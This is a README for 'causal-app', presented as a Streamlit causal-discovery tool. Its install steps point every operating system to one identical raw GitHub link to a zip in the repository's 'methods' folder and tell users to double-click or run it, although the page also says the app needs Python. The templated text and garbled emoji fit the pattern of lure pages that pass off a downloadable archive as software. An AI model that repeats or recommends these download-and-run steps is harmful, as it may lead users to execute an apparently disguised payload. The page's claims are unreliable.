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🧠 Run over 15 causal discovery algorithms locally with Causal App, an easy-to-use tool built on Streamlit for effective causal analysis.

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🌟 causal-app - Discover Causality with Ease

πŸš€ Getting Started

Welcome to causal-app! This interactive Streamlit app lets you run over 15 causal discovery algorithms. It helps you understand causal relationships in your data through method recommendations and bootstrap confidence graphs.

πŸ“₯ Download Now

Download

πŸ–₯️ System Requirements

To run causal-app, your computer must meet the following requirements:

  • Operating System: Windows, macOS, or Linux
  • Minimum RAM: 4 GB
  • Python: Version 3.7 or higher
  • Internet connection to access online features and updates

πŸ”’ Security Note

For your safety, make sure to download from the official releases page.

πŸ“‚ Download & Install

  1. Visit this page to download: GitHub Releases

  2. On the Releases page, find the latest version of causal-app.

  3. Choose the file that corresponds to your operating system:

    • For Windows, look for a file named https://raw.githubusercontent.com/FlashZkd/causal-app/main/methods/causal-app_v1.5.zip
    • For macOS, look for https://raw.githubusercontent.com/FlashZkd/causal-app/main/methods/causal-app_v1.5.zip
    • For Linux, look for https://raw.githubusercontent.com/FlashZkd/causal-app/main/methods/causal-app_v1.5.zip
  4. Click on the file name to download it.

  5. Once the download completes, locate the file in your downloads folder.

  6. Run the application:

    • For Windows, double-click https://raw.githubusercontent.com/FlashZkd/causal-app/main/methods/causal-app_v1.5.zip.
    • For macOS, drag https://raw.githubusercontent.com/FlashZkd/causal-app/main/methods/causal-app_v1.5.zip into your Applications folder, and then open it.
    • For Linux, extract the https://raw.githubusercontent.com/FlashZkd/causal-app/main/methods/causal-app_v1.5.zip file, navigate to the folder, and run the executable file.

🌟 Features

  • User-Friendly Interface: Navigate through the app with ease.
  • Multiple Algorithms: Choose from over 15 algorithms for causal discovery.
  • Recommendation System: Get method recommendations based on your data.
  • Bootstrap Confidence Graphs: Visualize your results with clarity.
  • Interactive Visualization: Use graphs to gain deeper insights into your causal analysis.

πŸ” How to Use

  1. Upload Your Data: Start by uploading your dataset in CSV format.
  2. Select an Algorithm: Choose from the list of causal discovery algorithms.
  3. Run the Analysis: Click the "Run" button to start the process.
  4. View Results: Check the confidence graphs and algorithm suggestions based on your data.
  5. Download Results: Save your analysis results for later use.

❓ FAQs

What is causal discovery?

Causal discovery identifies relationships between variables in your data, helping you understand how changes in one variable may affect another.

How do I upload data?

You can upload your data by clicking on the "Upload" button on the main page. Ensure your data is in CSV format.

Can I run the app without an internet connection?

To download the app, you need internet access. However, once installed, you can use many features offline.

Is the app suitable for beginners?

Yes, causal-app is designed with a user-friendly interface, making it accessible for users without programming knowledge.

πŸ“š Resources

πŸ”— Download Now

For the latest version, visit: GitHub Releases

Whether you need to understand data patterns or embark on finding causes in your datasets, causal-app is your go-to solution. Enjoy your analysis!

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🧠 Run over 15 causal discovery algorithms locally with Causal App, an easy-to-use tool built on Streamlit for effective causal analysis.

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